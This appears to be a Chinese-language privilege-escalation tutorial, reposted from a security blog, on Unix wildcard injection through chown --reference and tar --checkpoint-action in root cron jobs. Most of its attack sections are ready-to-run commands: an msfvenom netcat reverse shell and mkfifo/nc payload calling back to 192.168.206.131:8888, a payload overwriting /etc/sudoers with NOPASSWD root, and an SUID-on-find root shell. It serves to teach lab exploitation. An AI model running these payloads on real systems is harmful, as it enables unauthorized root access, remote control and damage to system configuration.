介绍
这是一种有趣的老式的UNIX黑客技术,可能很多人都没听过,一些UNIX工具(tar、chown)可能导致整个系统受损
通配符
通配符是一个字符或一组字符,可以用作某些范围/类别的字符的替换。在执行任何其他作之前,shell 会解释通配符。
*星号与文件名中任意数量的字符匹配,包括无字符。通常用于匹配任何字符,包括数字、字母和符号。你可以使用星号指定应用程序需要查找的字符相应位置的任何字符。例如,如果要显示目录中所有的C文件,则可以使用以下命令:
?问号与任何单个字符匹配。
在文件名中,问号占用了字符位置,能够匹配任何字符。例如,如果你想列出所有名称以“a”为第一个字母、第三个字母为“c”以及倒数第二个字母是小写字母“x”的文件,可以使用以下命令:
[]方括号通配符用于匹配指定字符集范围中的一个字符。如果需要匹配一小段字符集范围,可以使用该通配符
。在此示例中,“*”匹配所有以“a”、“d"开头的文件。运行以上命令后,控制台会输出名称为“abc.txt”和“def.txt”的文件。
{}花括号自动将多个选项组合成唯一的字符串,在此示例中,“{ab, de}*”匹配所有以“ab”,或“de”开头的文件。运行以上命令后,控制台会输出名称为“abc.txt”,以及“def.txt”的文件。
– [ ] 中使用的连字符表示字符范围。
~单词开头的波浪号扩展为主目录的名称。将其他用户的登录名附加到字符中,它引用该用户的主目录。
例子1
mkdir wild
cd wild
echo "Hello Friends" > file1
echo "This is Wildcard Injection" > file2
echo "take help" > --help
之后用cat命令尝试打开上面创建的三个文件
但是,前两个文件可以正常打开,并显示与上面相同的信息。但是 cat 命令无法读取写入 –help 文件中的信息。在打开-help文件时,它不会显示“take help”,而是从自己的库中调用自己的-help选项,这种类型的技巧被称为通配符狂野。
通过 Chown 劫持文件所有者
chown命令在类 Unix 系统上用于修改文件系统文件、目录的所有权,并且只能由超级用户更改。假设我们的系统中有三个用户。
超级用户 (root) – 执行管理员级别的任务,例如 run chown 命令。
Non-root-user1 (raj) – 执行普通作业,例如创建文件
Non-root-user2 (aarti) – 执行普通作业,例如创建文件
恶意用户 (Ignite) – 执行臭名昭著的任务,例如可能导致文件所有者劫持的 Chown 文件引用技巧。
在下图中,您可以观察到所有 PHP 文件都归 user: raj 所有。现在,当用户:ignite 发现所有 PHP 文件都是用户 raj 自己的时,他自己在同一个目录中诱导了两个 PHP 文件,并通过执行以下命令使用文件引用技巧来劫持文件所有者。
ls -al echo "" > my.php
echo > --reference=my.php
正如你所注意到的,大部分文件归用户 raj 所有,最后两个文件归用户 ignite 所有,当超级用户应该在通配符的帮助下更改所有具有 PHP 扩展名的文件的所有权时,所有文件都将间接归属于用户 ignite 的所有权。
正如您所观察到的,当 root 用户运行 chown 命令将所有 PHP 文件的所有权授予用户时:aarti,发生了错误,结果,所有 PHP 文件被用户:ignite 自动捕获。
chown -R aarti:aarti *.php ls -al概念信息
如果您曾经探索过 tar 来读取它的可选开关,那么您将找到以下选项。
–reference=RFILE (使用 RFILE 的所有者和组,而不是指定 OWNER: GROUP 值)
在我们的例子中 user: ignite 执行了以下命令:
echo "" > my.php echo > --reference=my.php然后 root 用户借助通配符来更改所有权。问题是 'chown' 命令行中使用的通配符获取了主观的 '–reference=.my.php' 文件,并将其作为选项传递给命令行中的 chown 命令。
通过 tar 进行后开发(第一阶段)
实验室设置
Tar 是一种非常常见的 UNIX 程序,用于创建和提取档案。借助它,我们将对任何目录进行压缩备份。例如,创建一个新目录并授予其 ALL 权限,然后创建一些文件。
现在在 crontab 的帮助下安排一个任务,以运行 tar 存档程序,以便每 1 分钟从 /var/backups 内部备份 /html。
nano /etc/crontab */1 * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*
让我们通过执行以下命令来验证计划是否正常工作。
cd /var/backup ls
Tar 通配符注入
权限提升启动您的攻击机器,首先破坏目标系统,然后进入权限提升阶段。假设我通过 ssh 成功登录受害者的机器,并访问了非 root 用户终端。然后打开 crontab 查看是否调度了任何作业。cat /etc/crontab在这里,我们注意到目标每 1 分钟安排一个 tar 存档程序,并且我们知道 cron 作业以 root 身份运行。让我们尝试利用。在新终端上,使用 msfvenom 生成 netcat 反向 shell 恶意代码以实现 netcat 反向连接,并为此输入以下命令。msfvenom -p cmd/unix/reverse_netcat lhost=192.168.206.131 lport=8888 R
复制生成的有效负载并将其粘贴到受害者的 shell 中,如下所述。
nc -lvp 8888
-
mkfifo /tmp/s
:创建命名管道(FIFO文件) -
/bin/sh -i < /tmp/s
:将Shell的输入重定向到管道 -
2>&1
:将错误输出合并到标准输出 -
nc 192.168.206.131 8888 > /tmp/s
:用Netcat连接攻击者,并将接收的数据写入管道 -
rm /tmp/s
:清理痕迹
现在,按照如下所述粘贴上面复制的有效负载,并在受害者的 tty shell 中运行以下命令。
echo "mkfifo /tmp/lhennp; nc 192.168.206.131 8888 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
tar cf archive.tar *
上述命令可帮助 tar 命令在存档第一个文件后 shell.sh 运行文件。由于 tar 命令由于 crontab 而以 root 身份运行,因此具有生成 netcat shell 并将其发送到 8888 端口攻击平台的效果。如果您返回侦听器所在的终端窗口,您将在 1 分钟后获得受害者的反向连接。这个最后肯定是root权限因为计划任务是root,我这个因为提前开的nc,请运行之后再开nc这样会使root权限
概念信息
如果您曾经探索过 tar 来读取它的可选开关,那么您将找到以下选项。
–checkpoint[=NUMBER] 显示每条 Numbers 记录的进度消息(默认为 10)
–checkpoint-action=在每个检查点上执行 ACTION
有一个 '–checkpoint-action' 选项,它将指定到达检查点时将执行的程序。主要是,这允许我们运行任意命令。因此,选项 '–checkpoint=1' 和 '–checkpoint-action=exec=sh shell.sh' 作为命令行选项传递给 'tar' 程序。
通过 tar 进行后开发(第二阶段)
实验设置
有多种方法可以进行压缩备份,并且还可以应用多种技术进行权限提升。在这个阶段,在 tar 的帮助下,我们将对目录进行压缩备份。例如,创建一个要备份的新目录并授予其 ALL 权限,然后创建一些文件。
cd /tmp
mkdir data
chmod 777 data
cd data
echo "" > f1
echo "" > f2
echo "" > f3
ls
现在在另一个目录在根目录中编写一个 bash 脚本,以便在 tar 存档程序的帮助下备份 /tmp/data。
mkdir info
cd info
nano script.sh
chmod 777 script.sh
#!/bin/bash
cd /tmp/data
tar cf /info/backup.tgz *
现在在 crontab 的帮助下安排一个任务,以每 1 分钟运行 tar 存档程序以备份 /var/backups 中的
nano /etc/crontab
*/1 * * * * root /info/script.sh
1 分钟后,会注意到 backup.tgz 文件在 info 目录中生成。
Tar 通配符注入
注入 netcat 反向_shell 以进行权限提升
启动您的攻击机器,首先破坏目标系统,然后进入权限提升阶段。假设我通过 ssh 成功登录受害者的机器,并访问了非 root 用户终端。然后打开 crontab 查看是否调度了任何作业。
在这里,我们注意到目标每 1 分钟安排一个 bash 程序脚本,并且我们知道 cron 作业以 root 身份运行。攻击者读取 script.sh 内编写的程序的那一刻,他就可以应用 tar 通配符注入。如上所述再次生成 netcat 反向 shell 有效负载。
Tar 通配符注入 (第二种方法)
利用 Sudoers 文件进行权限提升
基本上,借助通配符注入,攻击者想要获得系统的最高权限,因此,他会尝试在 tar 的帮助下注入一些恶意代码以进行 root 访问。但是有多种方法可以获取 root 访问权限,因此您可以应用以下技术进行权限提升。
假设您将受害者的计算机作为非 root 用户,并且为了权限提升,要么获得 root 访问权限,要么尝试通过添加非 root 用户 sudoers 文件来授予非 root 用户 sudo 权限。因此,您可以借助以下命令。
echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > demo.sh
echo "" > "--checkpoint-action=exec=sh demo.sh"
echo "" > --checkpoint=1
tar cf archive.tar *
在上述命令的帮助下,我们尝试向用户授予 root 权限:ignite 和 1 分钟。1 分钟后,我们成功拥有根账户。
sudo -l
sudo bash
whoami
Tar 通配符注入 (第三种方法)
权限提升 - 授予系统二进制文件的 SUID 权限
借助 tar 注入有多种方法可以提升权限,但我们讨论的方法很少。假设您将受害者的计算机作为非 root 用户,并且为了权限提升,您可以尝试为任何系统二进制文件启用 SUID 位,同样,您可以借助以下命令来获取 root 访问权限。
echo "chmod u+s /usr/bin/find" > test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
tar cf archive.tar *
ls -al /usr/bin/find
find f1 -exec "whoami" ;
root
find f1 -exec "/bin/sh" ;
id
whoami
来源:【https://www.freebuf.com/articles/web/433166.html】 原文始发于微信公众号(船山信安):权限提升之通配符注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论